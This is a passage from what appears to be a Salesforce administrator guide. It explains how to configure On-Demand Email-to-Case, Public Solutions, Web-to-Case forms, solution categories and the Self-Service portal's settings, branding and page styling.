Unauthorized Sender Action If you limited the email addresses and domains available for
On-Demand Email-to-Case in the Accept Email From
field, choose what happens to messages received from senders
who are blocked:

1110
Customize Enabling and Configuring On-Demand Email-to-Case

On-Demand Email-to-Case Setting Description


• Bounce message - The email service returns the message
to the sender or to the Automated Case User for
On-Demand Email-to-Case, with a notification that
explains why the message was rejected.
• Discard message - The email service deletes the message
without notifying the sender.

4. Click Save.

Tips and Considerations for On-Demand Email-to-Case


Consider the following when setting up routing addresses for On-Demand Email-to-Case:

• A Data Not Available error displays if you have an email service named “EmailToCase.“ If you have an email service
named “EmailToCase,” and you wish to create routing addresses for On-Demand Email-to-Case, you must:

1. Rename the email service from “EmailToCase” to another name.


2. If the Enable On-Demand Service checkbox is selected for On-Demand Email-to-Case:

i. Deselect Enable On-Demand Service.


ii. Click Save.
iii. Click Edit on the Email-to-Case settings page.
iv. Select Enable On-Demand Service.
v. Click Save.

• The following error message is sent to the Automated Case User after an email is converted to a case and a workflow
rule attempts to add a field value to the case that surpasses field value limits:
CANNOT_INSERT_UPDATE_ACTIVATE_ENTITY: A workflow or approval field update caused
an error when saving this record. Contact your administrator to resolve it. When
this error occurs, any auto-response rules set up in your organization do not send a response to the user who sent the email.
You can prevent similar errors from happening by deactivating the workflow rule.
• When a customer sends an email to a routing address, a case is created in your organization with the email subject as the
case Subject and the email body as the case Description.
• Salesforce.com limits the total number of messages that On-Demand Email-to-Case can process to 2500 email messages
per day. Messages that exceed this limit are bounced, discarded, or queued for processing the next day, depending on how
you configure over email rate limit settings.
• Apex email services limits apply to On-Demand Email-to-Case.
Text in an email that is over 100 KB is automatically truncated to 32 KB to fit a case record.
• The Priority, Case Origin, and Case Record Type fields auto-populate the case via the routing address settings
when the routing address is included in either the To, CC, or BCC fields of an inbound email.
• Salesforce.com processes the routing address of an inbound email in the following order and stops at the first match:

1. To
2. CC

1111
Customize Enabling Public Solutions

3. BCC

Note that some email applications do not automatically send BCC information. Therefore, case fields may not auto-populate
properly if the routing address is included in the BCC field of an inbound email. Furthermore, an email may not convert
to a case properly if you include the email services address in the BCC field of an email.
• If you use Microsoft Outlook® to redirect emails to a routing address:

- The CC Address field may be blank on cases created from emails


- Only one email address may be included in the To field of emails

This is because some versions of Outlook redirect emails with only one address in the To field and no addresses in the CC
field. To prevent these issues, consider using Microsoft Exchange Server instead of Outlook to redirect emails to a routing
address.
• To have cases that are created via On-Demand Email-to-Case automatically display in the Self-Service portal, see Enabling
Self-Service Features and Settings on page 1122.
• Deselect both the Email Subject and Email Body checkboxes to prevent the thread ID from being added to email.
If you deselect both the Email Subject and Email Body checkboxes, then all incoming responses to outbound case
emails create new cases.
• If there is an error processing an email to a case via a routing address, then a notification is sent to the user who created
the routing address.
• If email is sent to a routing address or email services address when On-Demand Email-to-Case is disabled, then a notification
is sent to the user who created the routing address.
• When you reply to email messages in the Email related list on cases, the From: field on your email may display to recipients
as no-reply@salesforce.com or support@company.com. This is due to how the recipients' email applications
receive Sender and From headers on inbound email. By default, an Enable Sender ID compliance setting is selected
for your organization, which enables email messages sent from Salesforce.com to comply with email applications that
require Sender headers for delivery. For more information, see Configuring Deliverability Settings on page 776.

See Also:
Creating Workflow Rules
Setting Up Auto-Response Rules

Enabling Public Solutions


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To enable web access to solutions: “Customize Application”

Using the Solutions tab, your customer support team can create solutions that people outside of your organization may find
helpful. Using HTML code supplied by Salesforce.com, and with the help of your website administrator, you can add a search
box and button to your website that allows your customers to search for solutions. This functionality is known as Public
Solutions.

1112
Customize Enabling Public Solutions

With public solutions, your customers can find answers to frequently asked questions without having to call your customer
support center. All solutions with a Status of Reviewed and the Visible in Public Knowledge Base field checked
will be available as public solutions, including any solution attachments.
Public solutions are different from the Self-Service portal and Salesforce.com Customer Portal because users are not required
to log in, and they can only search for solutions, not submit cases. For more information about the Self-Service and Customer
Portal, see Setting Up Self-Service on page 1120 and Setting Up Your Customer Portal on page 1306.
Note:

• The search box and button are displayed in a frame; your website must support frames in order for the solution
search feature to work.
• Suggested solutions does not display Salesforce Knowledge articles.

To enable Web access to solutions:

1. Click Setup ➤ Customize ➤ Self-Service ➤ Public Solutions.


2. Click Edit.
3. Check Public Solutions Enabled.
4. If your organization uses solution categories, check Enable Solution Browsing to allow customers to browse solutions
by category. Solution categories cannot be translated into other languages for public solutions.
If multilingual solutions is enabled for your organization, you can add a language drop-down list to public solutions so
that customers can choose which language to search for solutions. For more information, see Customizing Solution Settings
on page 1118.
5. If solution category browsing is enabled, select the Top-Level Category accessible by customers in public solutions.
Customers can view all solutions in this category and its subcategories if they are marked Visible in Public Knowledge
Base.

Leave Top-Level Category blank if you want customers to view all solutions in all categories when they are visible as
public solutions.
6. If desired, you can change the appearance of the frame on your website by specifying the Maximum Page Width and
Minimum Page Height.
7. Provide the URL of your CSS page in Style Sheet URL. The CSS file does not have to exist yet; you can download a
sample file as a starting point later, or use your own file.
8. You can change the word or phrase that is used to describe solutions in the frame in Alternative Term. Provide singular
and plural versions of the term.
9. Click Save.
10. If desired, click Download Sample CSS File to get the Salesforce.com style sheet.
11. Click Generate HTML.
12. Copy the resulting HTML code and click Finished.
13. Send the HTML (and the CSS file, if you downloaded it) to your website administrator to be added to your site as follows:

• Add the HTML to your Web page.


• Customize the downloaded style sheet.
• Host the style sheet in a publicly accessible location on your Web server.

1113
Customize Capturing Web Cases

Capturing Web Cases


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up Web-to-Case: “Customize Application”

With Web-to-Case, you can gather customer support requests directly from your company’s website and automatically generate
up to 500 new cases a day. This can help your organization respond to customers faster, thus improving the productivity of
your support team.

Preparation
Before setting up Web-to-Case:
• Create custom case fields, if needed (see About Custom Fields on page 811).
• Create a default email template for the automated notification email that will be sent to your customers upon submission
of each case (see Managing Email Templates on page 423).
• Create case queues if you wish to assign incoming cases to queues as well as individual users (see Managing Queues on
page 500).
• Customize the Support Settings to select the default owner of cases that fail to meet the criteria in your assignment rule
(see Customizing Support Settings on page 1097).
• Create an active case assignment rule to determine how web-generated cases are assigned to users or put into queues (see
Managing Assignment Rules on page 1046). If you do not set an active assignment rule, all web-generated cases are assigned
to the default owner you specify in the Support Settings.
For information on setting up Web-to-Case, see Setting Up Web-to-Case on page 1114.

Setting Up Web-to-Case
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up Web-to-Case: “Customize Application”

To set up Web-to-Case:

1. See Preparation on page 1114.


2. Click Setup ➤ Customize ➤ Self-Service ➤ Web-to-Case. This tool helps you generate the HTML code that your
webmaster can insert into your company's website.

a. Click the link to enable Web-to-Case, and check the box to turn it on.
b. Select a default response template for automatically notifying customers that their case was created.

1114
Customize Setting Up Web-to-Case

If you set up response rules to use different email templates based on the information submitted, the default email
template is used when no response rules apply. For instructions on setting up response rules, see Setting Up
Auto-Response Rules on page 1055. Leave this option blank if you do not wish to send emails when no response rules
apply. This template must be marked as “Available for Use.”
c. Choose the default Origin for all Web cases, and click Save.
d. Click Generate the HTML.
Tip: Use a custom multi-select picklist to allow customers to report cases on several products at a time.

e. To select the fields to include on your Web-to-Case form, use the Add and Remove arrows to move fields between
the Available Fields list and the Selected Fields list. Use the Up and Down arrows to change the order of the fields on
your form.
For organizations using multiple currencies, add the Case Currency field to the HTML if you add any other currency
amount fields, otherwise all amounts will be captured in your corporate currency.
For organizations using record types on cases, select the Case Record Type field if you want users submitting
Web-generated cases to select specific record types.
f. If your organization uses the Self-Service portal or the Customer Portal and you want Web-generated cases to be visible
to users in these portals, select Visible in Self-Service Portal.
g. If your organization uses the Translation Workbench or has renamed tabs, select the language for the form labels
displayed on your Web-to-Case form. The source of your Web-to-Case form is always in your personal language.
h. Specify the complete URL to which customers should be directed after they submit their information, and click
Generate. This could be a “thank you” page or your company's home page.

3. Copy the generated HTML code and provide it to your company’s webmaster so he or she can incorporate it into your
website.
4. Click Finished.
5. If you want to test the Web-to-Case form, add the line <input type="hidden" name="debug" value="1"> to
the code. This line redirects you to a debugging page when you submit the form. Don't forget to remove it before releasing
the Web-to-Case page to your website.

Note:

• All Web-generated cases that are not assigned automatically via the case assignment rule are assigned to the default
case owner specified in your Support Settings.
• Whenever possible, Web-generated cases are automatically linked to the relevant contact and account based on
the customer’s email address.
• Salesforce.com runs field validation rules before creating records submitted via Web-to-Case and only creates
records that have valid values. All universally required fields must have a value before a record can be created via
Web-to-Case.

1115
Customize Managing Solution Categories

• The format for date and currency fields captured online is taken from your organization’s default settings - Default
Locale and Currency Locale. If your organization exceeds its daily Web-to-Case limit, the default case owner
(specified in your Support Settings) will receive an email containing the additional case information

See Also:
Assigning Cases
Displaying and Editing Cases
Managing Assignment Rules
Setting Up Customer Support
Setting Up Self-Service
Setting Up Auto-Response Rules

Managing Solution Categories


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or change solution categories: “Manage Categories”

Create solution categories so that users can group similar solutions together. Once your solutions are categorized, users can
browse for and find solutions by category from the Solutions tab or when solving a case. Customers can also browse solutions
by category in public solutions, the Self-Service portal, and the Customer Portal.
To learn more, see:

• Getting Started with Categories on page 1116


• Defining Solution Categories on page 1117
• Entering Translated Terms on page 441

Getting Started with Categories


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or change solution categories: “Manage Categories”

Follow these steps to ensure a successful rollout of solutions:

1. Plan which categories your support team needs.

1116
Customize Defining Solution Categories

Keep in mind that you can also allow customers to find solutions by category in public solutions and your Self-Service
portal. You can specify that customers can view only solutions in a particular category and all of its subcategories.
2. Define your categories; see Defining Solution Categories on page 1117.
3. Categorize your solutions; see Categorizing Solutions on page 2335. Administrators, and users with the “Manage Categories”
permission, can categorize solutions prior to enabling solution categories for the entire organization.
4. Create a custom report of type Solution Categories to verify that all solutions are categorized appropriately. To find any
uncategorized solutions, use the advanced report filters; choose the Category Name field and the “equals” operator, and
leave the third field blank. Administrators, and users with the “Manage Categories” permission, can create solution category
reports prior to enabling solution categories for the entire organization.
5. Enable solution category browsing for the Solutions tab; see Customizing Solution Settings on page 1118.
6. Enable solution category browsing for customers using public solutions and your Self-Service portal. See Enabling Public
Solutions on page 1112 and Enabling Self-Service Features and Settings on page 1122.
7. Specify the top-level category accessible by customers using public solutions and your Self-Service portal. This is useful if
you want to have certain categories available only to internal staff.
Leave this blank if you want customers to view all categories and all solutions that are visible in Self-Service portal or visible
in public solutions.

See Also:
Managing Solution Categories

Defining Solution Categories


Begin by creating your solution categories. The All Solutions category is automatically created for you as the top of your
solution hierarchy. Users cannot add solutions to this category or translate it.

1. Click Setup ➤ Customize ➤ Solutions ➤ Solution Categories.


2. Click Add Category to create a subcategory below a specific category.
3. Enter the category name. Category names cannot include the backslash “\” character.
4. Select a different parent category, if desired. The parent category is the category directly above this category in the hierarchy.
5. Select a sort order for any subcategories you create under this category.

• Choose Alphabetical Order to sort subcategories alphabetically.


• Choose Custom Order to sort subcategories in the order you specify; see Adding and Sorting Subcategories on page
1118.

6. Click Save.
7. After creating categories, categorize your solutions. See Categorizing Solutions on page 2335. Administrators, and users
with the “Manage Categories” permission, can categorize solutions prior to enabling solution categories for the entire
organization.
8. Then, after categorizing solutions, turn on solution category browsing on the Solutions tab. See Customizing Solution
Settings on page 1118.
9. To enable solution category browsing for the public knowledge base or your Self-Service portal, see Enabling Public
Solutions on page 1112 and Enabling Self-Service Features and Settings on page 1122.

1117
Customize Customizing Solution Settings

Editing and Deleting Categories


From the list of solution categories, you can:
• Click Edit to modify the category name, parent category, or sort order.
• Click Del to delete the category. The solutions associated with the category are not deleted.
Note: You cannot delete a category in use by a Salesforce.com Customer Portal. For more information, see Enabling
Customer Portal Login and Settings on page 1313.

• Click the category name to view the category details.

Adding and Sorting Subcategories


From a category detail page, you can:
• Click New to add a subcategory below the category.
• Enter a custom sort order for the subcategories.
1. Edit the category to set the Subcategory Sort Order to Custom Order.
2. Enter numbers in the Order column to specify the order of the subcategories.
3. Click Reorder.

See Also:
Categorizing Solutions
Entering Translated Terms

Customizing Solution Settings


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To change solution settings: “Customize Application”

To customize solution settings:

1. Click Setup ➤ Customize ➤ Solutions ➤ Solution Settings.


2. Click Edit.
3. Select Enable Solution Browsing to turn on the ability to browse for and find solutions by category.
This setting enables solution browsing on the Solutions tab, Customer Portal, and when solving a case. For information
on translating solution categories into multiple languages, see Entering Translated Terms on page 441.
4. Select Enable Multilingual Solutions to turn on the ability for users to translate solutions into multiple languages.
You can deselect the Enable Multilingual Solutions checkbox at any time, but deselecting it removes all associations
between master and translated solutions and automatically disables the Enable Multilingual Solution Search

1118
Customize Customizing Solution Settings

in Self Service Portal and Enable Multilingual Solution Search for Public Solutions settings.
If you select the Enable Multilingual Solutions checkbox again, the associations between master and translated
solutions are restored.
5. Select Enable Multilingual Solution Search in Self-Service Portal to add a language drop-down list
to the Self-Service portal that automatically restricts search results to solutions that match the Self-Service portal user’s
language. From the language drop-down list, Self-Service portal users can choose whether to search for solutions in a
specific language or any language supported by Salesforce.com.
Deselecting this checkbox removes the language drop-down list from the Self-Service portal, and search results include
solutions in all languages, regardless of the Self-Service portal user's language.
6. Select Enable Multilingual Solution Search for Public Solutions to add a language drop-down list to
public solutions so that public solutions users can choose which language to search for solutions. From the language
drop-down list, public solutions users can choose whether to search for solutions in a specific language or any language
supported by Salesforce.com.
Deselecting this checkbox removes the language drop-down list from public solutions, and search results include solutions
in all languages.
7. Select Enable HTML Solutions to create and display solutions in HTML. When enabled, solutions appear in HTML
in Salesforce.com, public solutions, Self-Service portal, and Salesforce.com Customer Portal. Using HTML Solutions
allows users to easily format solution details by changing fonts and colors, and adding images and hyperlinks.
Caution: Once you select Enable HTML Solutions, you cannot disable it.

8. Select Solution Summary to display up to 150 characters of the solution details in the solution search results. Deselecting
this checkbox removes the solution summary from the results.
9. Select Inline Category Breadcrumbs to display up to 150 characters of the breadcrumb trail of categories to which
the solution belongs in the search results. Deselecting this checkbox removes the breadcrumbs from the results.
10. Click Save.
11. To enable solution browsing by customers in public solutions or your Self-Service portal, see Enabling Public Solutions
on page 1112 and Enabling Self-Service Features and Settings on page 1122.
In addition, you can customize the top-level category accessible by public solutions and Self-Service users. You do not
need to modify this setting if you want customers to view all categories and all solutions that are visible in the Self-Service
portal or visible in public solutions.

See Also:
Categorizing Solutions
Managing Solution Categories
Enabling Multilingual Solutions
Setting Up Your Customer Portal

1119
Customize Setting Up Self-Service

Setting Up Self-Service
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To use Self-Service Jump Start: “Manage Self-Service Portal”
To set up the Self-Service portal: “Manage Self-Service Portal”
To modify Self-Service pages: “Manage Self-Service Portal”
AND
“Customize Application”

Self-Service provides an online support channel for your customers - allowing them to resolve their inquiries without contacting
a customer service representative.
Setting up your Self-Service portal is simple. Choose from two setup options:

• Jump Start - Gets you up and running quickly; see Self-Service Jump Start on page 1121.
• Self-Service Setup - Complete setup which allows you more customization. The setup consists of:

- Enabling Self-Service Features and Settings on page 1122


- Customizing Your Self-Service Look and Feel on page 1125
- Customizing Your Self-Service Fonts and Colors on page 1128
- Customizing Your Self-Service Pages on page 1129
- Generating Login HTML on page 1137
- Managing Self-Service Users on page 1138

See Preparation for Setting Up Your Portal to learn more about implementing Self-Service.

See Also:
Customizing Your Self-Service Fonts and Colors
Customizing Your Self-Service Look and Feel
Self-Service Jump Start
Administrator tip sheet: Getting the Most from Your Self-Service Portal
Administrator setup guide: Self-Service Implementation Guide

Preparation for Setting Up Your Portal


Before setting up your Self-Service portal or your Salesforce.com Customer Portal:

• Build your public solutions - Review and mark your solutions as Visible in Self-Service Portal. Only solutions
marked Visible in Self-Service Portal can appear in the Self-Service portal or the Customer Portal. (See

1120
Customize Self-Service Jump Start

Reviewing Solutions on page 2333.) For your Self-Service portal only, identify the top five solutions you want to feature on
the Home Page.
• Determine the information to show and collect - Decide which case fields will be available when users view their cases.
You should also decide which fields should be required when users submit cases online and which picklist values users can
select when they solve their own cases with suggested solutions. (See Case Fields on page 2294.)
• Designate the portal's location - Choose where to add your portal's login URL on your corporate website. To locate the
login URL for your Self-Service portal, see Generating Login HTML on page 1137; to locate the login URL for your
Customer Portal see Enabling Customer Portal Login and Settings on page 1313.
• Customize your portal communication templates - Decide which email templates to send to users to communicate a
variety of information, such as reset passwords, notifications when public comments are added to cases, and case
auto-responses with suggested solutions.
• Customize and distribute the portal tip sheet - Download the Using the Self-Service Portal and Customer Portal tip
sheet and edit it to match your portal's branding and features, such as suggested solutions and the ability to attach files to
submitted cases. Then distribute the document to your customers who want to learn how to answer their own inquiries
using your portal.

See Also:
Setting Up Self-Service
Enabling Salesforce CRM Content in the Customer Portal

Self-Service Jump Start


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To use Self-Service Jump Start: “Manage Self-Service Portal”

Get your Self-Service portal running quickly using the Jump Start button. It automates the setup process by choosing some
default settings for you.

1. Click Setup ➤ Customize ➤ Self-Service ➤ Self-Service Portal ➤ Settings ➤ Jump Start.


2. Review the process and click Continue.
3. Choose a color theme.
4. Edit the default settings as needed and click Save.
5. Test your Self-Service portal by:

a. Clicking Generate to retrieve a test username and password.


b. Clicking Access Self-Service Portal to preview your pages.
c. Optionally, click Invite to notify other users how to log in and preview your pages.

6. Enable your Self-Service portal by copying the link provided in the Enable Self-Service... section to an appropriate place
on your website.
7. Click Done when finished.

1121
Customize Enabling Self-Service Features and Settings

8. Enable your customers to use your Self-Service portal. See Managing Self-Service Users on page 1138.

Tip: To make changes to your settings, see Enabling Self-Service Features and Settings on page 1122. The Self-Service
Jump Start automatically enables the Enable Self-Service button on contact detail pages.

Enabling Self-Service Features and Settings


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up the Self-Service portal: “Manage Self-Service Portal”
To modify Self-Service pages: “Manage Self-Service Portal”
AND
“Customize Application”

1. Click Setup ➤ Customize ➤ Self-Service ➤ Self-Service Portal ➤ Settings.


2. Click Self-Service Setup on the Self-Service Settings page.
3. Set the following options:

Setting Description
Login Enabled Allows users to log into the Self-Service portal.
Edit Self-Service Users Displays the Enable Self-Service button on contact detail
pages. Or, for contacts in which Self-Service is already
enabled, the View Self-Service button displays.
Logout URL The URL of the web page that will be displayed when users
log out of the Self-Service portal, for example,
http://www.acme.com. If a logout URL is not specified,
the Logout button does not display to users.
Default Case Origin The default origin assigned to all cases submitted via the
Self-Service portal. Available values are taken from your
organization's Case Origin picklist. You can assign
different default origins for cases submitted via Self-Service
and Web-to-Case.
New Cases Visible in Self-Service Portal Automatically selects the Visible in Self-Service
Portal checkbox for all new cases, including cases created
via Web-to-Case, Email-to-Case, and On-Demand
Email-to-Case.

1122
Customize Enabling Self-Service Features and Settings

Setting Description
Regardless of this default, users creating new cases can
manually set the Visible in Self-Service Portal
checkbox.

Enable Solution Browsing Enables solution categories in the Self-Service portal so that
customers can browse solutions by category.
If multilingual solutions is enabled, you can translate solution
categories. For more information, see Entering Translated
Terms on page 441.

Top-Level Category for Self-Service Portal The top-level category accessible by customers in the
Self-Service portal. Customers can view all solutions marked
Visible in Self-Service Portal in this category
and its subcategories.
Leave this blank to let customers view all solutions marked
Visible in Self-Service Portal in all categories.

Case Record Type The record type to assign to any case submitted via the
Self-Service portal.
"From" Email Address The email address from which all new user and password
emails will be sent, for example, support@acme.com.
When this field is blank, Salesforce.com uses:
• The Automated Case User's email address for users who
receive an email with a temporary password by clicking
Forgot your password? on the Login Page of the
Self-Service portal. The Automated Case User is
specified at Setup ➤ Customize ➤ Cases ➤ Support
Settings.
• The email address of the user who last posted a comment
for users who receive a case comment notification email.

"From" Email Name The name that will be associated with the “From” Email
Address, for example, “Acme Customer Support.” When
this field is blank, Salesforce.com uses:
• Your organization's name for users who receive an email
with a temporary password by clicking Forgot your
password? on the Login Page of the Self-Service portal.
• The name of the user who last posted a comment for
users who receive a case comment notification email.

New User Template The email template used to send a username and initial
password to all newly-enabled Self-Service users. Self-Service
automatically selects a sample template for you. To create
your own template or modify the sample, see Managing
Email Templates on page 423.This template must be marked
as “Available for Use.”

1123
Customize Enabling Self-Service Features and Settings

Setting Description
New Password Template The email template used to send a new password to existing
Self-Service users when you reset their passwords or when
they reset their own passwords by clicking Forgot your
password? on the Login Page of the Self-Service portal.
Self-Service automatically selects a sample template for you.
To create your own template or modify the sample, see
Managing Email Templates on page 423.This template must
be marked as “Available for Use.”
Enable Notification Email on New Case When selected, indicates that the Send Customer
Comment Notification option on a case comment is displayed.

Even if this checkbox is not selected, the Send Customer


Notification option still displays on cases if you have
enabled email notifications to contacts who are not members
of your Self-Service portal. See Customizing Support
Settings on page 1097.

New Comment Template The email template used to send a notification to


Self-Service users when a public comment is added to one
of their cases. Self-Service automatically selects a sample
template for you. To create your own template or modify
the sample, see Managing Email Templates on page 423.
This template must be marked as “Available for Use.”
Note that case owners are sent a separate notification that
you can't customize.

Enable Case Auto-Response Rules for Indicates if cases submitted through your Self-Service portal
Self-Service Cases will trigger your auto-response rules.
Case Creation Template The email template to use when cases submitted through
your Self-Service portal do not match any auto-response
rules.
Maximum Page Width The maximum pixel width of the Self-Service pages from
Salesforce.com. If hosting the portal yourself, this is the
width of the inner HTML frame on your Self-Service login
page.
Minimum Page Height The minimum pixel height of the Self-Service pages from
Salesforce.com.
Style Sheet URL The complete, publicly accessible URL of your organization’s
Self-Service style sheet, for example,
“http://www.acme.com/styles/selfservice.css.” See
Customizing Your Self-Service Look and Feel on page 1125.
If you use a predefined color theme, leave this field blank.

Color Theme Use one of Salesforce.com’s color themes if you do not have
your own style sheet to use. Click the View link to see

1124
Customize Enabling Self-Service Features and Settings

Setting Description
template settings. To change the fonts and colors of one of
Salesforce.com’s color themes, see Customizing Your
Self-Service Fonts and Colors on page 1128.
Case Single Term Term used on the Self-Service portal instead of “case”
(singular form).
Case Plural Term Term used on the Self-Service portal instead of “cases”
(plural form).
Solution Single Term Term used on the Self-Service portal instead of “solution”
(singular form).
Solution Plural Term Term used on the Self-Service portal instead of “solutions”
(plural form).

4. Click Save to save your Self-Service Settings.

See Also:
Setting Up Self-Service
Customizing Your Self-Service Look and Feel
Customizing Your Self-Service Fonts and Colors
Customizing Your Self-Service Pages
Generating Login HTML
Managing Self-Service Users
Self-Service Jump Start

Customizing Your Self-Service Look and Feel


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up the Self-Service portal: “Manage Self-Service Portal”
To modify Self-Service pages: “Manage Self-Service Portal”
AND
“Customize Application”

Develop a meaningful look and feel for your entire Self-Service portal.
Follow these steps:

1125
Customize Enabling Self-Service Features and Settings

1. Customize the headers and footers of the Self-Service pages; see Create Your Custom Page Header and Footer Sections
on page 1126.
2. Customize the Self-Service portal fonts and colors via one of these options:

• Choose a predefined color theme or upload your own style sheet; see Customize the Self-Service Style Sheet on page
1127.
• Customize fonts and colors using a point-and-click editor; see Customizing Your Self-Service Fonts and Colors on
page 1128.

See Also:
Customizing Your Self-Service Pages
Self-Service Jump Start

Create Your Custom Page Header and Footer Sections

Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up the Self-Service portal: “Manage Self-Service Portal”
To modify Self-Service pages: “Manage Self-Service Portal”
AND
“Customize Application”

Apply your company’s branding to every page in your Self-Service portal by customizing your page headers and footers. Your
portal page headers and footers can contain a company logo, your company messaging, or your company’s colors.

1. Click Setup ➤ Customize ➤ Self-Service ➤ Self-Service Portal ➤ Settings.


2. Click Edit next to the Page Header listed in the Portal Page Sections.
3. Check Show Header to display the header on your portal pages.
4. Check Show Header Separator to include a line separating the header from your body pages.
5. If desired, enter a page message. Use the format toolbar to format your page message. See Using the Format Toolbar for
descriptions of the HTML formatting buttons.
Optionally, check Show HTML to view your page message in HTML code.
6. Click Save.
7. Click Edit next to the Page Footer listed in the Portal Page Sections.
8. Check Show Footer to display the footer on your portal pages.
9. Check Show Footer Separator to include a line separating the footer from your body pages.
10. If desired, enter a page message. Use the format toolbar to format your page message. See Using the Format Toolbar for
descriptions of the HTML formatting buttons.
Optionally, check Show HTML to view your page message in HTML code.

1126
Customize Enabling Self-Service Features and Settings

11. Click Save.

See Also:
Customizing Your Self-Service Look and Feel
Customizing Your Self-Service Pages

Customize the Self-Service Style Sheet

Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up the Self-Service portal: “Manage Self-Service Portal”
To modify Self-Service pages: “Manage Self-Service Portal”
AND
“Customize Application”

Select a predefined color theme, or download a sample Self-Service color theme so you can customize it. This color theme
allows you to incorporate your organization’s branding into your Self-Service portal.
Note: To customize the Self-Service color theme using a point-and-click editor, see Customizing Your Self-Service
Fonts and Colors on page 1128.

1. Click Setup ➤ Customize ➤ Self-Service ➤ Self-Service Portal ➤ Settings.


2. Click Self-Service Setup.
3. Click the View Color Theme Options link in the page settings section.
4. Find a set of fonts and colors you like and click Download This Color Theme.
To use a predefined color theme without customizing it, simply click Select This Color Theme.
5. Save the color theme you downloaded and give it to your webmaster if it needs more customization. The downloaded color
theme is a CSS style sheet that your webmaster can edit.
6. Store the downloaded style sheet in a publicly accessible location and enter the URL for your style sheet in the Style
Sheet URL field.
7. Click Save.

See Also:
Customizing Your Self-Service Look and Feel
Customizing Your Self-Service Fonts and Colors
Customizing Your Self-Service Pages

1127
Customize Customizing Your Self-Service Fonts and Colors

Customizing Your Self-Service Fonts and Colors


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up the Self-Service portal: “Manage Self-Service Portal”
To modify Self-Service pages: “Manage Self-Service Portal”
AND
“Customize Application”

You can customize the fonts and colors of the Self-Service portal to reflect your company’s branding. Your portal’s fonts and
colors are specified in a portal “color theme.” Select a predefined color theme and customize it using a point-and-click editor.

1. Click Setup ➤ Customize ➤ Self-Service ➤ Self-Service Portal ➤ Fonts and Colors. Salesforce.com offers predefined
themes that you can customize. Click Preview to view any theme.
2. Select the color theme you want to customize.
From the color theme page, you can:

• Click the Reset to Default link to remove all customizations from a theme.
• Click the Back to All Themes link to return to the list of color themes.
• Click Preview <Theme Name> to view the theme you are customizing.

3. Choose a portal page to customize. Color themes are customized page-by-page with some page elements being shared by
multiple pages.
From the portal page, you can:

• Click See Examples to see all of the elements that you can customize.
• Click Clear next to an element to remove customizations.
• Click Preview <Theme Name> to view the theme you are customizing.
• Click the Back to All Pages link to return to the list of all portal pages.

4. Click Edit next to the visual element you want to customize. Some elements are visible only on the selected portal page,
and some are shared across multiple portal pages. Changes you make to shared elements affect all pages.
Note: Depending on the visual element, you can customize attributes using a point-and-click editor or a custom
style sheet editor which lets you modify the cascading style sheets (CSS) directly. Choose the click here link to
switch between the two. If you are using the point-and-click editor, select the Show advanced attributes box to
access the click here link. We recommend that only users familiar with cascading style sheets (CSS) define them.

5. Edit the visual element as desired.


If you are using the point-and-click editor:

• Click Edit next to a basic or advanced attribute. If you do not see the advanced attributes, select the Show advanced
attributes box.

1128
Customize Customizing Your Self-Service Pages

• In the popup window, change the attribute as needed.


• Click OK to confirm your changes in the popup window.
If you are using the custom style sheet editor, enter valid CSS code.
For a list of all the page attributes you can edit, see Self-Service Page Attributes on page 1130.

6. Click Save to save all changes to the visual element and its attributes. Customizations are not visible to your Self-Service
users until you set the color theme as active.
7. Repeat these steps to customize all visual elements and their attributes as necessary.
8. Return to the list of color themes by clicking the Back to All Pages link and then the Back to All Themes link.
9. Click Set Active Theme.
10. Select the theme to activate for your portal, live and in real-time. Your organization can only have one active theme.
11. Click Save.

Note: Since changes to an active theme take effect immediately, we recommend that you fully customize a theme
before activating it so as not to disturb your customers.

Customizing Your Self-Service Pages


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To modify Self-Service pages: “Manage Self-Service Portal”
AND
“Customize Application”

1. Click Setup ➤ Customize ➤ Self-Service ➤ Self-Service Portal ➤ Settings.


2. Make the necessary enhancements to any Self-Service pages. See the following for more information:

• Customize the Login Page on page 1131


• Customize the Home Page on page 1132
• Enable the Solutions Page on page 1133
• Customize the Log a Case Page on page 1134
• Customize the View Cases Page on page 1135
• Customize the Suggested Solutions Page on page 1136

Note:

• You cannot create multiple versions of the same Self-Service portal page. However, you can customize each
Self-Service page.

1129
Customize Customizing Your Self-Service Pages

• Salesforce Knowledge articles do not display in the Self-Service portal.

See Also:
Customizing Your Self-Service Look and Feel
Customizing Your Self-Service Fonts and Colors
Self-Service Jump Start

Self-Service Page Attributes


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up the Self-Service portal: “Manage Self-Service Portal”
To modify Self-Service pages: “Manage Self-Service Portal”
AND
“Customize Application”

The following is a list of Self-Service page attributes which can be modified with the point-and-click editor:

Page Attribute Description


Color The color of the text.
Bold The bolded value of the text. For example, whether the text
is bolded or not.
Font size The size of the text.
Font A specific style of type in which letters are displayed.
Font Family A prioritized list of font family names for an element. Web
browsers use the first font value recognized.
Underline The underline value of the text. For example, whether the text
is underlined or not.
Border Color The color of a border.
Border Style The style of a border, such as dotted, dashed, or solid.
Border Width The width of a border.
Bottom Border Width The width of a bottom border.
Padding The amount of space between the border and the element.

1130
Customize Customizing Your Self-Service Pages

Page Attribute Description


Padding Top The amount of space to put between the top border and the
element.
Padding Right The amount of space to put between the right border and the
element.
Padding Left The amount of space to put between the left border and the
element.
Padding Bottom The amount of space to put between the bottom border and
the element.
Height The height of the element.
Line Height The height of a line.
Background Color The background color of the element.
Background Repeat The format in which the background image displays. For
example, whether the image displays repeatedly in a horizontal
or vertical format.
Background Image The background image of the element. The relative or absolute
URL which hosts the image must be inside the surrounding
URL() syntax. For example,
url(/sserv/img/tabBg_gray.gif).

